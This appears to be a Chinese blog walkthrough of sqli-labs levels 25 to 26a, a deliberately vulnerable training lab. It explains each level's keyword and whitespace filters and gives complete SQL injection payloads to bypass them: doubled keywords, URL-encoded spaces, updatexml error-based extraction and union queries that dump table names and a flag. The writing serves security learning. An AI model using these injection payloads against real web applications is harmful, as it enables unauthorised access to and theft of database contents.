当前位置: 首页 > news >正文

sqli-labs过关解析(25-26a关 附带源码解析)

小歇了一天,今天继续给大家带来sqli-labs靶场的解析文章;

  • 本文主要梳理 sqli-labs 第25到29关的过关思路,简单分析源码中的过滤机制、闭合方式以及常见绕过方法,涉及布尔盲注、过滤函数逆向、注入语句构造和自动化爆破等基础知识点,整体偏向实战操作逻辑。

文章目录

    • sqli-labs第25关 — GET型or and过滤注入
      • 绕过方法
        • 双写绕过
        • 符号替代
    • sqli-labs第25a关 — GET型or and过滤int型注入
    • sqli-labs第26关 — GET型过滤进阶注入
      • 绕过方法
        • A. 双写绕过逻辑词 (OR / AND)
        • B. URL编码绕过空格
        • C. 绕过注释符
        • D. 报错注入
    • sqli-labs第26a关 — 布尔盲注
      • 尝试union联合注入
      • 布尔盲注
    • 总结

sqli-labs第25关 — GET型or and过滤注入

默认页面:(看来时过滤了orand这两个关键词:)

还是老样子,先看源码:

blacklist() 函数:试图通过preg_replace过滤掉敏感关键词:

绕过方法

双写绕过
  • 绕过 OR:使用oorr
  • 绕过 AND:使用anandd
  • 绕过 ORDER BY:注意 ORDER 中包含 OR,会被过滤成 DER。因此需要写成oorrder by
符号替代

在 SQL 中,除了单词外,还可以使用符号来表示逻辑运算:

  • AND 可以替换为&&(在 URL 中需要 URL 编码为%26%26)
  • OR 可以替换为||

所以,我们可以尝试一下上述方法:

# 测试回显?id=1' oorrder by 1,2,3 -- da ?id=1'oorrder by1,2,3,4 -- da // 报错,只要三个回显# 测试数据库 information的 or 也要双写?id=-1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata -- da # 查表 得到flags ?id=-1'unionselect1,2,group_concat(table_name)from infoorrmation_schema.tables wheretable_schema='ctfshow'-- da# 查列 得到flag4s?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='ctfshow' aandnd table_name='flags' -- da # 详细字段 得到ctfshow{0ff85553-0d32-4b3f-ab9b-a1446ee272d3} ?id=-1'unionselect1,2,group_concat(flag4s)from ctfshow.flags -- da

结果如下:

sqli-labs第25a关 — GET型or and过滤int型注入

查看源码:

其实就变了个闭合方式而已:整型闭合

默认页面如下:

直接上payload:

# 测试回显?id=1oorrder by1,2,3 -- da ?id=1oorrder by1,2,3,4 -- da // 报错,只要三个回显# 测试数据库 information的 or 也要双写?id=-1 unionselect1,2,group_concat(schema_name)from infoorrmation_schema.schemata -- da# 查表 得到flags?id=-1 unionselect1,2,group_concat(table_name)from infoorrmation_schema.tables wheretable_schema='ctfshow'-- da# 查列 得到flag4s?id=-1 unionselect1,2,group_concat(column_name)from infoorrmation_schema.columns wheretable_schema='ctfshow'aandndtable_name='flags'-- da# 详细字段 得到ctfshow{df6545e9-5b82-4541-ab28-138c946dee4d}?id=-1 unionselect1,2,group_concat(flag4s)from ctfshow.flags -- da

得到flag:

sqli-labs第26关 — GET型过滤进阶注入


直接查看源码:

唯一的区别是多过滤了几个字符:

过滤对象正则表达式影响
逻辑词/or/i,/and/i无法直接使用 OR、AND(不区分大小写)。
注释符[#],[--],[\/\*]封杀了#--/* */。这意味着不能通过注释截断 SQL 后半部分的单引号。
空格[\s]匹配任何空白字符(空格、制表符、换页符等),并将其直接删除。
斜杠[\/\\\\]过滤了正斜杠/和反斜杠\

绕过方法

A. 双写绕过逻辑词 (OR / AND)

依然可以采用“双写绕过”,因为preg_replace只执行一次替换。

  • OR→ \rightarrowoorr或者||
  • AND→ \rightarrowanandd或者%26%26
B. URL编码绕过空格

由于\s过滤了常见的空格和控制符,我们需要寻找 MySQL 能够识别但正则未定义的替代方案。

常用的技巧包括:特殊编码(使用 URL 编码的控制字符)

  • %a0(不换行空格) —— 在某些环境下有效。
    • 推荐:%0a(换行)、%0b(垂直制表)、%0c(换页)、%0d(回车),%09
C. 绕过注释符

既然无法用#--注释掉末尾的单引号,必须闭合它

  • 原句WHERE id='$id' LIMIT 0,1
  • Payload 思路id=1' [你的注入语句] '1
or'1'='1

这样末尾的' LIMIT 0,1会变成字符串的一部分或被逻辑运算连接。

D. 报错注入

我们利用updatexml()extractvalue()配合报错,并使用%0a代替空格,用oorr绕过 or:


根据上述原理,我们很容易可以构造出payload:

# 测试payload?id=1'%0a||'1'='1# 查数据库?id=1'anandd(updatexml(1,concat(0x7e,database(),0x7e),1))anandd'1?id=1'%0a||(updatexml(1,concat(0x7e,database(),0x7e),1))anandd'1?id=1'%0a||(updatexml(1,concat(0x7e,database(),0x7e),1))||'1?id=1'anandd|(updatexml(1,concat(0x7e,database(),0x7e),1))||'1

此时的查询语句为:SELECT * FROM users WHERE id='1'||(updatexml(1,concat(0x7e,'security',0x7e),1))and'1' LIMIT 0,1

# 查表 得到flags?id=1' || updatexml(1, concat(0x7e, (SELECT (group_concat(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema='ctfshow'))) ,1) || '1'='1# 查列?id=1'||updatexml(1,concat(1,(SELECT (group_concat(column_name)) FROM (infoorrmation_schema.columns) WHERE (table_schema='security' %26%26 table_name = 'users'))) ,1) || '1'='1# 得到flag ctfshow{04327ac9-4178-4f98-b2f8-56dc342?id=1' || updatexml(1,(select (flag4s) from (ctfshow.flags)),1) || '1'='1# 获取第 30 个字符之后的内容 8-56dc342fb56d}?id=1'||updatexml(1,concat(0x7e,(select(substr(flag4s,30))from(ctfshow.flags))),1)||'1'='1// 用mid函数也行 ?id=1'||updatexml(1,concat(0x7e,(select(mid(flag4s,31,31))from(ctfshow.flags))),1)||'1'='1

结果:

获取后半段:获取第 30 个字符之后的内容:
我们利用substr(string, start, length),从第 30 个位置开始截取。

mid()函数也行:

后半段的内容包含了一点前半段的内容,自己手动去除一下;

sqli-labs第26a关 — 布尔盲注

直接查看源码:


其他并什么变化,不过报错函数mysql_error()被过滤了,所以先尝试一下联合注入

尝试union联合注入

此处就需要使用URL 编码来代替空格,然后用 UNION 注入。判断有几列可用,别忘了 “ORDER” 中的 “or” 被过滤掉了。

?id=1')%20oorrder%20by%201,2,3,4%20||('

但很遗憾,失败了;

布尔盲注

这里使用脚本进行爆破;

我编的脚本返回为空。。。无语了

  • 若大家有成功的代码,可以私信一下我;

总结

期待下次再见;

http://www.jsqmd.com/news/418611/

相关文章:

  • 借助 TensorFlow 决策森林与 Temporian 实现预测分析 —— 时间序列数据预处理更轻松
  • AIGC检测技术未来会怎么发展?2026年趋势预测与应对建议
  • 如何选择EOR名义雇主服务?2026年高口碑EOR名义雇主人力资源解决方案权威榜单
  • 一种涂色问题。
  • 2026沈阳自媒体运营推广公司排行榜公布TOP5名单 - 精选优质企业推荐榜
  • 2026年连云港自媒体运营推广公司5强推荐榜单发布 - 精选优质企业推荐榜
  • AIGC检测是什么?一篇文章搞懂AI内容检测的前因后果【2026科普】 - 我要发一区
  • 2026年武汉自媒体运营推广公司TOP5推荐榜单发布 - 精选优质企业推荐榜
  • 2026年威海自媒体运营推广公司5强推荐名单公布 - 精选优质企业推荐榜
  • 2026年AIGC检测全景科普:从原理到应对的终极指南
  • 2026年赣州自媒体运营推广公司5强推荐榜单公布 - 精选优质企业推荐榜
  • AIGC检测对学术界意味着什么?一个值得深思的问题
  • 通过这五点选择信息系统项目管理师培训机构
  • AIGC检测十问十答:你最关心的问题都在这里了
  • 2026大模型检索技术落地全解(非常详细),RAG实战从入门到精通,收藏这一篇就够了!
  • 降AI工具是怎么工作的?一文读懂降AI率的技术原理
  • GraphRAG构建建筑设计问答实战(非常详细),垂直领域应用从入门到精通,收藏这一篇就够了!
  • 项目目标的验收标准
  • AIGC检测有法律依据吗?论文被查出AI会有什么后果
  • 第一次遇到AIGC检测不知道怎么办?新手完全指南
  • AI写作和AIGC检测的「猫鼠游戏」:谁会最终胜出?
  • AIGC检测提交多次会有影响吗?关于重复检测你需要知道的事
  • 一站式CV解决方案:基于YOLO26与Streamlit构建的多任务计算机视觉Web应用
  • 光伏产线数字化转型升级 武汉曜华激光全品类设备赋能
  • 考场作弊检测数据集(适用YOLO系列/1000+标注)(已标注+划分/可直接训练)
  • OpenCode 配置完全指南:从安装到高级定制
  • 阿里云 Serverless 计算 1 月产品动态
  • AGI 时间线:六大巨头的预测(2026年2月最新)
  • 树形层级结构的数据库表设计方案
  • 在Windows中使用Linux系统